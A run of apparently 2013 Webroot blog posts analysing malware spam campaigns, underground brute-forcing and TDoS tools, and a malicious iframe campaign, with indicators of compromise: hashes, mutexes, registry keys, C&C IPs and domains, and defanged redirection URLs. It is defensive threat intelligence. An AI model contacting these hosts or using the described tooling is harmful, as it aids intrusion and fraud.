It didn’t take long for cybercriminals to realize the massive potential for abusing already created botnets, in terms of utilizing them as **anonymization-based type of infrastructure** . Empowering them with the necessary foundations for launching attacks relying on the **‘stepping-stones’ concept** , completely mixing the malicious/legitimate **logs-free anonymization infrastructure** , or setting up multi-hop cybercrime-friendly VPN service providers, these practices added **additional layers of anonymity** to their Internet activities, primarily relying on **basic ‘risk-forwarding’ tactics** . Next to the utilization of these concepts, the massive/de-facto **adoption of Socks4/Socks5 modular features** , found in a huge percentage of modern malware/crimeware/**platform** releases, helped opportunistic cybercriminals to quickly monetize the market segment, by empowering others with the same capabilities through their “**cybercrime-as-a-service** ” type of underground market propositions.

Throughout 2013, we continued to observe a decent supply of "**hacked-PCs-as-a-service** ", with some of the market-leading/well known/reputable vendors, still in operation. Moreover, thanks to the general availability of Socks4/Socks5 converted anonymization hosts, we also continue to observe a decent supply of CAPTCHA-based proxy-supporting DIY automatic account registration/**brute-forcing** tools, **Denial of Service (Dos) attack tools** relying on hacked/compromised PCs, as well as the now de-factor standard for the cybercrime ecosystem, use of APIs for the purpose of supplying fellow cybercriminals with access to fresh IPs with clean IP reputation.

We expect to continue observing a mix between a purely malicious infrastructure, in combination with legitimate logs-free infrastructure, for the purpose of anonymizing a cybercriminals online activities, successfully bypassing current data retention regulations in place.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake 'October's Billing Address Code' (BAC) form themed spam campaign leads to malware - Webroot Blog

facebook linkedin twitter

Have you received a casual-sounding email enticing you into signing a Billing Address Code (BAC) form for October, in order for the Payroll Manager to proceed with the transaction? Based on our statistics, tens of thousands of users received these malicious spam emails over the last 24 hours, with the cybercriminal(s) behind them clearly interested in expanding the size of their botnet through good old fashioned 'casual social engineering' campaigns.

Sample screenshot of the spamvertised email:

Detection rate for the spamvertised malicious attachment : **MD5: 36a685cf1436530686d1967b4a9d6680** – detected by 20 out of 46 antivirus scanners as Win32/TrojanDownloader.Waski.A.

Once executed, the sample starts listening on ports 7442 and 1666.

It then creates the following Mutexes on the affected hosts:
Local\{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A}
Local\{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A}
Local\{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A}
Local\{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A}
Local\{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A}
Local\{911F9FCD-AFAC-6AF2-DBC9-BE58FA349D4A}
Global\{2E06BA86-8AE7-D5EB-DBC9-BE58FA349D4A}
Global\{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A}
Global\{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A}
Global\{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A}
Global\{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A}
Global\{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A}
Global\{BB67AFC4-9FA5-408A-DBC9-BE58FA349D4A}
Global\{9D48A1E2-9183-66A5-11EB-B06D3016937F}

Global\{9D48A1E2-9183-66A5-75EA-B06D5417937F}
Global\{9D48A1E2-9183-66A5-4DE9-B06D6C14937F}
Global\{9D48A1E2-9183-66A5-65E9-B06D4414937F}
Global\{9D48A1E2-9183-66A5-89E9-B06DA814937F}
Global\{9D48A1E2-9183-66A5-BDE9-B06D9C14937F}
Global\{9D48A1E2-9183-66A5-51E8-B06D7015937F}
Global\{9D48A1E2-9183-66A5-81E8-B06DA015937F}
Global\{9D48A1E2-9183-66A5-FDE8-B06DDC15937F}
Global\{9D48A1E2-9183-66A5-0DEF-B06D2C12937F}
Global\{9D48A1E2-9183-66A5-5DEF-B06D7C12937F}
Global\{9D48A1E2-9183-66A5-95EE-B06DB413937F}
Global\{9D48A1E2-9183-66A5-F1EE-B06DD013937F}
Global\{9D48A1E2-9183-66A5-89EB-B06DA816937F}
Global\{9D48A1E2-9183-66A5-F9EF-B06DD812937F}
Global\{9D48A1E2-9183-66A5-E5EF-B06DC412937F}
Global\{9D48A1E2-9183-66A5-0DEE-B06D2C13937F}
Global\{9D48A1E2-9183-66A5-09ED-B06D2810937F}
Global\{9D48A1E2-9183-66A5-51EF-B06D7012937F}
Global\{9D48A1E2-9183-66A5-35EC-B06D1411937F}
Global\{9D48A1E2-9183-66A5-A9E8-B06D8815937F}
Global\{DDB39BDC-ABBD-265E-DBC9-BE58FA349D4A}
Global\{2E1C200D-106C-D5F1-DBC9-BE58FA349D4A}

Drops the following MD5s: **MD5: cf8ab39c0a2561eb9df2c22496d20b3b** ; **MD5: 75fe668007e66601724af592f8ca8985** ; **MD5: 6abdc5f7f9599e3971af4202cf4ed4da** .

And phones back to the following C&C servers: offensivejokescolin.com – 38.102.226.253
85.100.41.9
113.161.95.98
172.245.217.122
93.177.152.17
114.24.192.181
63.227.34.28
76.70.9.123
206.190.252.6
60.244.87.31

70.27.195.251
217.36.122.144
173.239.143.42
86.135.144.6
69.95.46.22
85.24.208.124
86.147.226.12
79.129.27.234
94.64.239.197
58.252.57.193
194.250.81.234
62.23.247.20
75.99.113.250
82.91.203.169
178.23.32.115
85.206.22.117
31.192.48.109
187.188.136.31
178.192.71.93
213.96.69.3

The following malicious MD5s are also known to have phoned back to the same C&C servers: MD5: 3752b2f92671cd051a77b04fd2fed383
MD5: 6bafe2fc65cf34ae6f103121d9325416
MD5: 4ae6a46a228da040fe25db0f419ae727
MD5: ed52d9f9fcc60d12166905e359c99020
MD5: 74e5acef47b9c57c7756cf130e8d4805
MD5: 1888be386f701199b282840cc0c5354f
MD5: 1b2590ee13cf6bda134a162708f8270a
MD5: adb1e09a26a6b22090b23432f0547ba3
MD5: 9b57ac8d44cede55be2079a4b400fffd
MD5: b1e332efb4e83189c7f5e84bc93e205b
MD5: 6c67f2add5a6eacb4c69f9efdbbb8cde
MD5: e65c0fd804992ea7e246f2385e32a0e1
MD5: bba80e9fabb476830d5216f1fa264489
MD5: 4dfa5221aae9945989fd815342d19c12
MD5: 49969b7e553ee03707f1e3ef333c2406

MD5: 86680fde2ef1ab2681262d39369999e8
MD5: 8b45bf7f9f4104c1e15cca8eb7f80581
MD5: c7d1a47b80f7910a03db8fa9791d2aec
MD5: b899ba5037db4babda49603603912bb9
MD5: d3cd3c07a4f82ed30bbc0af597f5391a
MD5: a6cb214dc74fb7aadb22e732720daff0
MD5: 7b821616bf2a78472286d61c19e03bd1
MD5: 9f257f99a479d2f7b19c21255719a995
MD5: bc89a2185ab2f317a5a58e7a7c35daa8
MD5: 916c95e50ec4d6010a2818de50a94ff5
MD5: 32cfae63aa9be58e32829fe6c4f89a85
MD5: e40b6d4953b7923d52b0315429d16c10

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Fake 'MMS Gallery' notifications impersonate T-Mobile U.K, expose users to malware - Webroot Blog

facebook linkedin twitter

Over the last two months, we’ve been closely monitoring — and proactively protecting from — the malicious campaigns launched by cybercriminals who are no strangers to the concept of social engineering topic rotation. Their purpose is to extend a campaign’s life cycle, or to generally increase a botnet’s infected population by spamming out tens of thousands of fake emails, exposing users to malicious software. The most recent campaign launched by the same cybercriminal(s), is once again impersonating **T-Mobile** U.K in an attempt to trick mobile users into thinking that they’ve received a legitimate MMS Gallery notification. In reality though, once the attachment is executed, the victim’s PC will automatically join the botnet operated by the cybercriminal(s) behind the campaign, ultimately undermining the confidentiality and integrity of the host.

Sample screenshot of the spamvertised email:

Detection rate for the spamvertised attachment : **MD5: bff8af7432ced6e574e85d9241794f80** – detected by 8 out of 47 antivirus scanners as Trojan.Zbot; W32/Trojan2.OADJ.

Once executed, the sample phones back to **networksecurityx.hopto.org** . Go through related assessments of campaigns known to have been launched by the same cybercriminal(s), also phoning back to the same C&C server:

‘T-Mobile MMS message has arrived’ themed emails lead to malware Spamvertised T-Mobile ‘Picture ID Type:MMS” themed emails lead to malware U.K users targeted with fake ‘Confirming your Sky offer’ malware serving emails Cybercriminals spamvertise tens of thousands of fake ‘Sent from my iPhone’ themed emails, expose users to malware Fake WhatsApp ‘Voice

Message Notification/1 New Voicemail' themed emails lead to malware

Related malicious MD5s that are known to have phoned back to the same C&C server over the last 24 hours: MD5: 334caadd87414cec33aeed2cd5660047
MD5: 758427f8dbca63c5996732d53af9d437
MD5: 3c2c403e4e13634e5ff16ff0d5958f4a
MD5: 8d8cdb8e019f6512ec577b65aacd8811
MD5: 292b15c5c38812d99ee5b71488d4da84
MD5: e53efd2f8cf233ebdaff75547a7afe2a
MD5: d20943554561953f5f495f2497fb6ec7
MD5: 9c26ccbd415da8c9eaf99e347ffd46bf
MD5: 32d86dcf3dae6ccf298745293992c776
MD5: 6a1d9111dde1c54e06937594642d1c96
MD5: 555aba5436e4b7c197b705803063528f
MD5: f5257fa2d6948f14ec92c77f45b0bff9
MD5: f3aa65b13c7d6552bf6e5c40f502194e
MD5: ef1d8ff8ea198e4e601e90f645acbfdb
MD5: ee9f046ff9cce896faf3cd9094a14100
MD5: f1b3ab7ecc9268d8ed2e2afeafaa34ab
MD5: ed43d198b52ff644c0a38e45def54ce6
MD5: ea1a91d504c8ccffcd2a22ea9a8e9f82
MD5: e9a5b9e3d0b69248dd3f2e769ce6f9eb
MD5: deac0b055af271d8f30bba759a18bae4

We've also observed two newly introduced C&C servers within these samples, namely, **dnshosting1.ws – 185.26.120.124** and **178.32.173.85** .

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals impersonate HSBC through fake 'payment e-Advice' themed emails, expose users to malware - Webroot Blog

facebook linkedin twitter

HSBC customers, watch what you execute on your PCs. A circulating malicious spam campaign attempts to socially engineer you into thinking that you’ve received a legitimate ‘payment e-Advice’. In reality, once you execute the attachment, your PC automatically joins the botnet operated by the cybercriminal(s) behind the campaign.

Sample screenshot of the spamvertised email:

Detection rate for the spamvertised attachment: MD5: 2fbf89a24a43e848b581520d8a1fab27 – detected by 24 out of 47 antivirus scanners as Trojan.Win32.Bublik.blgc.

Once executed, the sample starts listening on ports 3670 and 6652.

It creates the following Mutexes on the affected hosts:
Local\{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A}
Local\{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A}
Local\{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A}
Local\{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A}
Local\{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A}
Local\{911F9FCD-AFAC-6AF2-DBC9-BE58FA349D4A}
Global\{2E06BA86-8AE7-D5EB-DBC9-BE58FA349D4A}
Global\{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A}
Global\{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A}
Global\{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A}
Global\{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A}
Global\{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A}
Global\{BB67AFC4-9FA5-408A-DBC9-BE58FA349D4A}
Global\{572F15AA-25CB-ACC2-11EB-B06D3016937F}
Global\{572F15AA-25CB-ACC2-75EA-B06D5417937F}

Global\{572F15AA-25CB-ACC2-4DE9-B06D6C14937F}
Global\{572F15AA-25CB-ACC2-65E9-B06D4414937F}
Global\{572F15AA-25CB-ACC2-89E9-B06DA814937F}
Global\{572F15AA-25CB-ACC2-BDE9-B06D9C14937F}
Global\{572F15AA-25CB-ACC2-51E8-B06D7015937F}
Global\{572F15AA-25CB-ACC2-81E8-B06DA015937F}
Global\{572F15AA-25CB-ACC2-FDE8-B06DDC15937F}
Global\{572F15AA-25CB-ACC2-0DEF-B06D2C12937F}
Global\{572F15AA-25CB-ACC2-5DEF-B06D7C12937F}
Global\{572F15AA-25CB-ACC2-95EE-B06DB413937F}
Global\{572F15AA-25CB-ACC2-F1EE-B06DD013937F}
Global\{572F15AA-25CB-ACC2-89EB-B06DA816937F}
Global\{572F15AA-25CB-ACC2-F9EF-B06DD812937F}
Global\{572F15AA-25CB-ACC2-E5EF-B06DC412937F}
Global\{572F15AA-25CB-ACC2-0DEE-B06D2C13937F}
Global\{572F15AA-25CB-ACC2-09ED-B06D2810937F}
Global\{572F15AA-25CB-ACC2-51EF-B06D7012937F}
Global\{572F15AA-25CB-ACC2-35EC-B06D1411937F}
Global\{572F15AA-25CB-ACC2-29EF-B06D0812937F}
Global\{DDB39BDC-ABBD-265E-DBC9-BE58FA349D4A}

Then drops **MD5: 5df5b7fe7ee73b55362abdb4fa3b95ba** ; **MD5: 01c1e2b13d9c177b8891f27ae06ed5c2** and **MD5: cb7a5b65aac7de310a396d7458700f37** on the affected hosts.

It then phones back to the following C&C servers:
cardiffpower.com – 64.50.166.122
64.50.166.122
95.101.0.155
95.104.85.196
99.114.99.151
172.245.217.122
192.95.59.51
93.199.59.166
120.151.247.221
75.99.113.250
92.22.42.26
188.124.212.94
93.180.110.180

200.91.49.183
98.164.247.13
177.64.175.59
46.49.119.78
173.194.65.106
173.194.65.94
46.49.107.136
84.59.129.23
93.172.48.237
108.230.237.240
190.149.31.42

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake WhatsApp 'Message Notification' Emails Expose Users To Malware | Webroot

facebook linkedin twitter

We've just intercepted a currently circulating malicious spam campaign impersonating WhatsApp — **yet again** — in an attempt to trick its users into thinking that they've received a voice mail. Once socially engineered users execute the malicious attachment found in the fake emails, their PCs automatically join the botnet operated by the cybercriminal(s) behind the campaign.

Sample screenshot of the spamvertised malicious email:

Detection rate for the spamvertised attachment: MD5: 41ca9645233648b3d59cb52e08a4e22a – detected by 10 out of 47 antivirus scanners as TrojanDownloader:Win32/Kuluoz.D.

Once executed, it phones back to:

hxxp://103.4.18.215:8080/460326245047F2B6E405E92260B09AA0E35D7CA2B1
70.32.79.44
84.94.187.245
172.245.44.180
103.4.18.215
172.245.44.2

We're also aware of the following malicious MD5s that are known to have phoned back to the same C&C servers as well:
MD5: 4014d1ee9e038b312dfcebf58f84968f
MD5: b82c2a96c5b3deccb46825507026ec39
MD5: 210096af9d8049bf3bae51d000c2ab76
MD5: e1b68d32e92bddb356a9917ea8e07e83
MD5: a5fb88ee735eab458bcbff287e36d590
MD5: c8b9b6e0a3257130e5842dd0840577c9
MD5: 38fc3178363b9d16174cc1565745d57f
MD5: bf5bdca7ef67b9c85a4413a8126ecb22
MD5: 53e568fe21ef96918853bc8404fef458
MD5: 3471d59f6f99f5676714cfac595e2aad

MD5: 91ade7d94244104d8cd6fc26be839c62
MD5: 40cb1f0111b4f4c8136404d4d351ceb5
MD5: 9c122673e98a487f8cd65746f03237aa
MD5: 7d53d47982fd62a37009b9a3e5fad42f
MD5: 2226cf5ead414b156e0b8b99f761ef83

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

'Newly released proxy-supporting Origin brute-forcing tools targets users with weak passwords' - Webroot Blog

facebook linkedin twitter

In need of a good reason to immediately improve the strength of your Origin password, in case you don't want to lose access to your inventory of games, as well as your gaming reputation? We're about to give you a pretty good one. A newly released proxy-supporting Origin brute-forcing tool is not just efficiency verifying an end user's understanding of basic security practices, but also, has built-in option for parsing an affected user's inventory of games, as well as related gaming information. Why would a cybercriminal want to gain access to someone's gaming account in the first place, besides the most logical reason of gaining access to their gaming inventory? Simple. To set up the foundations for **a successful business model** relying on **standardized E-shops** for selling access to **compromised gaming/accounting data** .

Sample screenshot of the actual advertisement:

The software has built-in support for **proxies** (malware-infected hosts) **syndication** , as well as the ability to obtain the CD key for a particular game it has detected as part of the affected user's inventory, allowing the cybercriminal operating it to easily build up inventories of fraudulently obtained gaming assets to be later on sold to potential buyers. The tools is just the tip of the iceberg in the ever-green market segment for brute forcing tools and services. It's such tools that empower novice cybercriminals with the necessary **capabilities to launch** managed **email hacking services** , or target a specific set of Web sites, running, for instance, **WordPress or Joomla** , in combination with the ubiquitous in 2013, option to **solve CAPTCHAs** in an API-friendly, cost-effective manner.

Gamers are advised to go through **EA's recommended account security settings** , as well as to active **Steam Guard** .

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Fake 'Annual Form (STD-261) - Authorization to Use Privately Owned Vehicle on State Business' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

Want to file for mileage reimbursement through a STD-261 form? You may want to skip the tens of thousands of malicious emails currently in circulation, attempting to trick users into executing the malicious attachment. Once downloaded, your PC automatically joins the botnet operated by the cybercriminal(s) behind the campaign, undermining the confidentiality and integrity of the host.

Sample screenshot of the spamvertised email:

Detection rate for the spamvertised attachment: MD5: 3aaa04b0762d8336379b8adedad5846b – detected by 21 out of 47 antivirus scanners as Trojan.Win32.Bublik.bkri; TrojanDownloader:Win32/Upatre.A.

Once executed, the sample starts listening on ports 8412 and 3495.

It also creates the following Mutexes: Local\{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A}
Local\{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A}
Local\{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A}
Local\{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A}
Local\{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A}
Local\{911F9FCD-AFAC-6AF2-DBC9-BE58FA349D4A}
Global\{2E06BA86-8AE7-D5EB-DBC9-BE58FA349D4A}
Global\{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A}
Global\{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A}
Global\{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A}
Global\{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A}
Global\{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A}
Global\{BB67AFC4-9FA5-408A-DBC9-BE58FA349D4A}

Global\{896D5E41-6E20-7280-11EB-B06D3016937F}
Global\{896D5E41-6E20-7280-75EA-B06D5417937F}
Global\{896D5E41-6E20-7280-4DE9-B06D6C14937F}
Global\{896D5E41-6E20-7280-65E9-B06D4414937F}
Global\{896D5E41-6E20-7280-89E9-B06DA814937F}
Global\{896D5E41-6E20-7280-BDE9-B06D9C14937F}
Global\{896D5E41-6E20-7280-51E8-B06D7015937F}
Global\{896D5E41-6E20-7280-81E8-B06DA015937F}
Global\{896D5E41-6E20-7280-FDE8-B06DDC15937F}
Global\{896D5E41-6E20-7280-0DEF-B06D2C12937F}
Global\{896D5E41-6E20-7280-5DEF-B06D7C12937F}
Global\{896D5E41-6E20-7280-95EE-B06DB413937F}
Global\{896D5E41-6E20-7280-F1EE-B06DD013937F}
Global\{896D5E41-6E20-7280-89EB-B06DA816937F}
Global\{896D5E41-6E20-7280-F9EF-B06DD812937F}
Global\{896D5E41-6E20-7280-E5EF-B06DC412937F}
Global\{896D5E41-6E20-7280-0DEE-B06D2C13937F}
Global\{896D5E41-6E20-7280-09ED-B06D2810937F}
Global\{896D5E41-6E20-7280-51EF-B06D7012937F}
Global\{896D5E41-6E20-7280-35EC-B06D1411937F}
Global\{896D5E41-6E20-7280-61EC-B06D4011937F}
Global\{DDB39BDC-ABBD-265E-DBC9-BE58FA349D4A}

Drops the following files on the affected hosts: MD5: 3659e0dc0323e769aabfeb668a7d1ecb
MD5: 617973f2d58f541913678f4d15e61d60
MD5: 1c23c5bdfd8f8f80ff2654208833ebdf

It then attempts to phone back to the following C&C servers:
122.201.103.88
122.201.103.86
46.49.119.78
85.100.41.9
79.187.164.155
74.243.130.50
86.180.70.185
176.205.29.45
58.252.57.193
93.177.184.173

108.65.194.40
86.147.226.12
217.35.80.36
84.58.47.98
85.34.231.122
61.250.167.140
75.99.113.250
190.204.248.56
86.160.8.233
46.48.251.37
68.162.220.34
82.211.142.218
31.192.48.109
46.49.93.88
60.44.176.185
23.24.39.197

Naturally, we're also aware of related malicous MD5s that are known to have phoned back to the same C&C servers as well:

MD5: 75c4209771d322d1b2c404fe3f3a9b95
MD5: 96b7b1f503be8b361c95389d0370cb2d
MD5: 9236cdff457e2ff07a05c11ba71e7332
MD5: d3e6175dd54eb537636142f3dd74bfd3
MD5: 6a2905e94eabff2d7793614d0b9f05bb
MD5: 9f63177a6c30b081e2216e438729cda4
MD5: d281140c890b06d76692f6fed8ed5e7e
MD5: 258f5c7bdee9f063dd163c35c5ef0b12
MD5: c8cb617b8318fab2e1fee0f838e14841
MD5: def02766def420e49dbf3ce0af2f60b9
MD5: 9d07184f4375671623a7f442230d8745
MD5: cf1f61ad29dc56a7689f6fa0c1c5bf2e
MD5: 20cb4b66d2a1d35ef635d66bc7e8ad20
MD5: c30d4650897da4735eb756863a30fc95
MD5: da514188b7c911d2a5c8568f2807a68c
MD5: c8032899076e28c4edf83e59aeeeb981
MD5: ee7ecadfc3a7d879d72537ddcb815253
MD5: edbdf3a3086430d96f57f85d15bbe8f1
MD5: e226dcf34a0c71a6f552d61ee9789932

MD5: 860701c889c40f17d5811f58c3c29877
MD5: d3bac5410920def9594b3170dbcdc711
MD5: f192f19de1b6fa3b0b10efd1343eb63c
MD5: eddc590c10a9cb482a1eba8596094dee
MD5: 8af455cf950ee44db2b67bab23a62f82

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals spamvertise tens of thousands of fake 'Sent from my iPhone' themed emails, expose users to malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently mass mailing tens of thousands of malicious emails, supposedly including a photo attachment that's been "Sent from an iPhone". The social engineering driven spam campaign is, however, the latest attempt by a cybercriminal/group of cybercriminals that we've been monitor for a while, to attempt to trick gullible users into unknowingly joining the botnet operated by the malicious actor(s) behind the campaign.

Detection rate for the spamvertised attachment: MD5: 46e077f058f5a6eddee3c851f8e56838 – detected by 36 out of 47 antivirus scanners as Trojan.Win32.Neurevt.jl; Trojan:Win32/Neurevt.A.

Once executed, the sample creates the following Registry Keys on the affected hosts: *HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ijiujsnjb.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rstrui.exe HKEY_CURRENT_USER\Software\Classes\CLSID\{1619728A-151F-0C46-98D4-171F5E70A2E0} HKEY_CURRENT_USER\Software\Win7zip*

Once executed, the sample attempts to contact the following C&C servers: 91.109.14.224
31.7.35.112
49.50.8.93
173.0.131.15
209.50.251.101
88.198.7.211

64.120.153.69
219.94.206.70
173.231.139.57

next to the well known by now, **networksecurityx.hopto.org** , a C&C host that [we've already profiled in several analyses]().

Moreover, the following malicious MD5s are also known to have phoned back to these C&C hosts: MD5: b0dbfd7e359d4830d7ff4a5f40a78204
MD5: 5b904359d9f8922e209141fbccbacf4f
MD5: 4c6baee04409f0fe04a616946f2c2230
MD5: a64eceab34bf8eaa4615bc0f477f8279
MD5: 71c2d1d1c46f0c458ab88127b020fd02
MD5: 58282fd31e84be35d8e904542e96b1ba
MD5: 6fefcd92fb6758f77b1ef0b6fccc9870
MD5: 04492fd5c0e82e45f00a8e125728e15b
MD5: 9244e8799ffd75f2d0666a441b5bc84e
MD5: 9591c937c6da209b21ebbdf8a37e2ddd
MD5: d966aa83c96c81faf118dde9836636e2
MD5: 8e59c5683fe56e3c1576ae360776dad5
MD5: 3d75e483f9fad44d9cae483628652a8e
MD5: ed97aa41539ca162479534fd9ace2bc0
MD5: b20cc2ad04b4fffaffcf6fa17c5f22ce
MD5: 5640dfbfe84321811c3374c2453c96b7
MD5: a416fa920ef2219bcd33ef2682ee2308
MD5: ebe9d1ea6a41d4e7c402ece7ecca398b
MD5: 231aef609786d8076b33d475ac7a9702
MD5: c965119e445379db79308011cec6b967

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Vendor of TDoS products/services releases new multi-threaded SIP-based TDoS tool - Webroot Blog

facebook linkedin twitter

Telephony Denial of Service Attacks (TDoS) continue representing **a growing market segment** within the Russian/Eastern European underground market, with more vendors populating it with propositions for products and services aiming to disrupt the phone communications of prospective victims. From purely malicious in-house infrastructure — dozens of USB hubs with 3G USB modems using **fraudulently obtained, non-attributable SIM cards** — abuse of legitimate infrastructure, like **Skype** , **ICQ** , a mobile carrier's **legitimate service functionality** , or compromised accounts of **SIP account owners** , the market continues growing to the point where even **Distributed Denial of Service Attack (DDoS) providers start 'vertically integrating'** .

A new, commercially available multi-threaded SIP-based TDoS tool released by what appears to be an experienced TDoS vendor that's also offering managed TDoS services, is prone to empower not just lone attackers, but also, potential new vendors who'd use the tool as a primarily vehicle for the the future growth of their business model. Let's profile the tool, discuss its features, as well as what might have prompted the vendor of managed TDoS services to start selling copies of it, instead of exclusively using it in-house.

Sample screenshots of the newly released TDoS tool:

Next to multi-threading, simultaneous use/abuse of multiple compromised/legitimate accounts at multiple SIP providers, the tools also has a cron-like type of scheduling for a particular attack allowing queuing of campaigns and accepting multiple orders at a time. The price? 10,000 rubles ($304.92), including a hardware ID enabled type of license for a single PC. The tool is just the tip of the iceberg of TDoS products/services offered by the same vendor, and we believe that it's been publicly pitched in an attempt by the vendor to generate more revenue, while preserving the actual ‘know-how’, in-house type of custom-coded TDoS tools, the ones primarily driving its business model.

Sample screenshot of the actual TDoS equipment operated by the vendor:

We believe that the Russian/Eastern European TDoS market would continue flourishing, with more vendors serving the growing demand for such type of services. As we’ve already seen in the past, they are known to have been **directly used against emergency phone lines** , a modern day’s alternative to perhaps the first known such case, namely, **the 911/chode worm** (2000).

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Malicious multi-hop iframe campaign affects thousands of Web sites, leads to a cocktail of client-side exploits - Webroot Blog

facebook linkedin twitter

Sharing is caring. In this post, I'll put the spotlight on a currently circulating, massive — thousands of sites affected — malicious iframe campaign, that attempts to drop malicious software on the hosts of unaware Web site visitors through a cocktail of client-side exploits. The campaign, featuring a variety of evasive tactics making it harder to analyze, continues to efficiently pop up on thousands of legitimate Web sites. Ultimately hijacking the legitimate traffic hitting them and successfully undermining the confidentiality and integrity of the affected users' hosts.

Sample redirection chains: *hxxp://www.cibonline.org/cache/mod_poll/7c7478fde2f89a23.php -> hxxp://www.haphuongfoundation.net/vietnam/language/pdf_fonts/www/all2.php -> hxxp://www.profili-benton.si/templates/beez/1.php -> hxxp://www3.omq97dncl0enuzc91.4pu.com -> hxxp://find-and-go.com/?uid=11245&isRedirected=1 -> hxxp://5.199.169.39/piwik/piwik.php?idsite=6*

hxxp://www.cibonline.org/cache/mod_poll/7c7478fde2f89a23.php -> hxxp://www.haphuongfoundation.net/vietnam/language/pdf_fonts/www/all2.php -> hxxp://www.profili-benton.si/templates/beez/1.php -> hxxp://www3.omq97dncl0enuzc91.4pu.com (95.141.42.88) -> hxxp://www1.vjq1b9261b4d0.4pu.com/i.html (66.199.250.147) -> hxxp://www1.vjq1b9261b4d0.4pu.com/nnnnvdd.html -> hxxp://www1.vjq1b9261b4d0.4pu.com/pdfx.html -> hxxp://www1.vjq1b9261b4d0.4pu.com/qopne.html -> hxxp://www1.vjq1b9261b4d0.4pu.com/fnts.html

hxxp://www.cibonline.org/cache/mod_poll/7c7478fde2f89a23.php -> hxxp://www.haphuongfoundation.net/vietnam/language/pdf_fonts/ww *w/all2.php -> hxxp://www.profili-benton.si/templates/beez/1.php -> hxxp://www3.omq97dncl0enuzc91.4pu.com (109.201.135.20) -> hxxp://www1.u7dtn91y8y09.4pu.com/i.html -> hxxp://www1.u7dtn91y8y09.4pu.com/iexp.html -> hxxp://www1.u7dtn91y8y09.4pu.com/jmnyhsr.html*

hxxp://www.cibonline.org/cache/mod_poll/7c7478fde2f89a23.php -> hxxp://www.haphuongfoundation.net/vietnam/language/pdf_fonts/www/all2.php -> hxxp://profili-benton.si/templates/beez/1.php -> hxxp://www3.e96s0ttcl.4pu.com (109.201.135.20) -> hxxp://www1.thh3ssp6.4pu.com/i.html -> hxxp://www1.thh3ssp6.4pu.com/nnnnvdd.html -> hxxp://www1.thh3ssp6.4pu.com/pdfx.html -> hxxp://www1.thh3ssp6.4pu.com/qopne.html -> hxxp://www1.thh3ssp6.4pu.com/0a8aqgdg7qedig.swf

Sample detection rate for the served client-side exploits:
